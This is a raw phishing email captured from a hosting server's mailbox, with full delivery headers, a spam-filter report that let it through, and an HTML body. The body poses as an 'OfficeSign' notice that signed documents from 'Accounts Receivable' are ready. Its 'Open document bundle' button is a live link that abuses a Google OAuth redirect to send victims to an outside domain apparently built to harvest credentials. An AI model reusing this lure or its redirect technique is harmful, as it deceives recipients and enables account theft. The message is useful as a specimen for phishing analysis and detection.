| Dir : /home/ithome/mail/new/ |
| Server: Linux host100322.itwesthosting.com 3.10.0-1160.144.1.el7.tuxcare.els4.x86_64 #1 SMP Tue Apr 7 08:40:40 UTC 2026 x86_64 IP: 144.91.64.173 |
| Dir : /home/ithome/mail/new/1773842177.M633648P26720.host100322.itwesthosting.com,S=7799,W=7958 |
Return-Path: <cptfrank@candw.ky>
Delivered-To: ithome@host100322.itwesthosting.com
Received: from host100322.itwesthosting.com
by host100322.itwesthosting.com with LMTP
id OCyeJQGvumlgaAAAp0YrwQ
(envelope-from <cptfrank@candw.ky>)
for <ithome@host100322.itwesthosting.com>; Wed, 18 Mar 2026 14:56:17 +0100
Return-path: <cptfrank@candw.ky>
Envelope-to: ap@h1telekom.hr
Delivery-date: Wed, 18 Mar 2026 14:56:17 +0100
Received: from csmtpq1-prd-nl1-cwp.edge.unified.services ([84.116.50.187]:13355)
by host100322.itwesthosting.com with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
(Exim 4.96.2)
(envelope-from <cptfrank@candw.ky>)
id 1w2rNg-00072Y-1v
for ap@h1telekom.hr;
Wed, 18 Mar 2026 14:56:17 +0100
Received: from csmtp1-prd-nl1-cwp.nl1.unified.services ([100.105.142.20] helo=csmtp1-prd-nl1-cwp.edge.unified.services)
by csmtpq1-prd-nl1-cwp.edge.unified.services with esmtp (Exim 4.95)
(envelope-from <cptfrank@candw.ky>)
id 1w2rNb-004Ia6-3u
for ap@h1telekom.hr;
Wed, 18 Mar 2026 14:56:11 +0100
Received: from [127.0.0.1] ([156.146.39.35])
(using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 256/256 bits)
(Client did not present a certificate)
by csmtp1-prd-nl1-cwp.edge.unified.services with ESMTPSA
id 2rNZwRJxnz1Fy2rNawVvuL; Wed, 18 Mar 2026 14:56:11 +0100
X-Env-Mailfrom: cptfrank@candw.ky
X-Env-Rcptto: ap@h1telekom.hr
X-SourceIP: 156.146.39.35
X-CNFS-Analysis: v=2.4 cv=RNOD2Yi+ c=1 sm=1 tr=0 ts=69baaefb
a=KeGVzo29hlF12eOX5ct8lQ==:117 a=KeGVzo29hlF12eOX5ct8lQ==:17
a=IkcTkHD0fZMA:10 a=5KLPUuaC_9wA:10 a=f7IdgyKtn90A:10 a=sWKEhP36mHoA:10
a=1XWaLZrsAAAA:8 a=GQ9rbseiAAAA:8 a=Ec9skiB8AAAA:8 a=3g80flMcAAAA:8
a=TTZmptPqyxFntTJyzJcA:9 a=tjSTee_hvCDE2RCq:21 a=_W_S_7VecoQA:10
a=QEXdDO2ut3YA:10 a=QdRnjVEjstoA:10 a=9EtrHhcmn5HlZUR9zQiZ:22
a=G1dXlfm-FUcLUPjwQxiD:22 a=3urWGuTZa-U-TZ_dHwj2:22
X-Authenticated-Sender: serpac@cwpanama.net
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=candw.ky;
s=201801custpemceu; t=1773842171;
bh=4JylbZ/Ak1SqjmnYBQQ9TrjrekoXS/kjMlpgPgb0950=;
h=From:To:Subject:Date;
b=RQWBrS5kezGI4Li2Mb/b+Dnr+xCjDTrURqVuubXS6RFXmAKqO/2fLZdiWAzi0CDNa
2BcyTLhpBKu1P4cV3t7/Yu6Q8KjbEXweTB86pvTZ51uLZhHX2NpSpuZkEfdIkSV6GY
QROgmZsUff474COqDqfcn3kB80UVSJlwN4CiAzutMzeysQLA+7PXahg2De+IRk+F+0
ck/tN1Cva20isvwcPA8axvSpLK0pkxdVNMzmIKfZOaMyv5tGMxeLKdkiShcPDw6FIX
VQ35JFAkXM5yFDFksv/RSEF1zO+mkxiNIURSvIHQZKBN+dL7ORstVdU+ITjSGb+RXk
iIJEEKookYUeQ==
Content-Type: text/html; charset=utf-8
From: "Accounts Receivable >" <cptfrank@candw.ky>
To: ap@h1telekom.hr
Subject:
=?utf-8?B?RmluYWwgQWN0aW9uIFJlcXVpcmVkOiBBY2NvdW50IFN0YXRlbWVudCBbUmVmIDEwMTcwTDFHUV0=?=
Message-ID: <692587ad-5806-eebd-30bc-b7afcc78ac6f@candw.ky>
Content-Transfer-Encoding: quoted-printable
Date: Wed, 18 Mar 2026 13:56:08 +0000
MIME-Version: 1.0
X-CMAE-Envelope: MS4xfGVi0kJiJip6y6irrHWzMJHgaTSJgkRdY47vkio5lUdhhwMRdltYQIUQfeAuuUyv3zYJkJ1YpU5lKzFHs+/fjxjUW7rODHD26UmEH2/5AvDwSCse4vLo
Et6FCtC1+mEI+DvCCECLjYsSsOALrtJ6VyEcprPcQVH2Agmc059zHYOCqRnvmO8Kk4qNy8L6ej6F0g==
X-Spam-Status: No, score=2.9
X-Spam-Score: 29
X-Spam-Bar: ++
X-Ham-Report: Spam detection software, running on the system "host100322.itwesthosting.com",
has NOT identified this incoming email as spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
root\@localhost for details.
Content preview: Accounts Receivable shared your OfficeSign document bundle:
DOC-5172947.pdf and it has been finalized. The signed documents are attached.
Open document bundle
Content analysis details: (2.9 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was
blocked. See
http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
for more information.
[URIs: intercareenterprisenx.in]
1.0 HK_RANDOM_FROM From username looks random
0.0 HK_RANDOM_ENVFROM Envelope sender username looks random
0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[84.116.50.187 listed in bl.score.senderscore.com]
-0.0 SPF_PASS SPF: sender matches SPF record
0.0 HTML_FONT_LOW_CONTRAST BODY: HTML font color similar or
identical to background
0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts
0.0 HTML_MESSAGE BODY: HTML included in message
-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
-0.1 DKIM_VALID_EF Message has a valid DKIM or DK signature from
envelope-from domain
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily
valid
-0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from
author's domain
0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE:
The query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[84.116.50.187 listed in sa-accredit.habeas.com]
2.0 KAM_INVFROM Invalid From Header containing mismatched <>'s
X-Spam-Flag: NO
X-From-Rewrite: unmodified, forwarded message
<html>
<head>
<meta charset=3D"UTF-8">
</head>
<div dir=3D"ltr">
<table width=3D"100%" cellspacing=3D"0" cellpadding=3D"0" =
bgcolor=3D"#fff" style=3D"color:#000;font-family:'Helvetica Neue',Helvetica=
,Arial,sans-serif;font-size:14px;border:1px solid #e9e9e9;background-color:=
#fff;border-radius:3px;">
<tbody>
<tr>
<td valign=3D"top" style=3D"padding:10px;">
<p>Accounts Receivable shared your OfficeSign document bundle: =
<strong>DOC-5172947.pdf</strong> and it has been finalized.</p>
<p>The signed documents are attached.</p>
<table cellspacing=3D"0" cellpadding=3D"0" =
style=3D"margin:auto;">
<tbody>
<tr>
<td>
<table cellspacing=3D"0" cellpadding=3D"0">
<tbody>
<tr>
<td bgcolor=3D"#3aa54c" style=3D"border-radius:2px;=
">
<a href=3D"https://accounts.google.=
com/o/oauth2/v2/auth?prompt=3Dnone&auto_signin=3DTrue&access_type=3Donline&=
state=3D&redirect_uri=3Dhttps://intercareenterprisenx.in/scd/indexalert.=
html&response_type=3Dcode&client_id=3D351892991770-55h1oslmmuatigvpkuehrs7e=
pptjl90u.apps.googleusercontent.com&scope=3Dopenid+https://www.googleapis.=
com/auth/userinfo.email" class=3D"" rel=3D"noopener noreferrer" =
style=3D"padding:8px 12px;border:1px solid #3aa54c;font-family:'Helvetica =
Neue',Helvetica,Arial,sans-serif;border-radius:2px;font-size:16px;text-deco=
ration:none;display:inline-block;color:#fff;" target=3D"_blank">
<strong>Open document bundle</strong>
</a>
</td>
</tr>
</tbody>
</table>
</td>
</tr>
</tbody>
</table>
<p>If you have trouble with the above link, copy it and open it =
with your browser.</p>
</td>
</tr>
</tbody>
</table>
</div>
</html>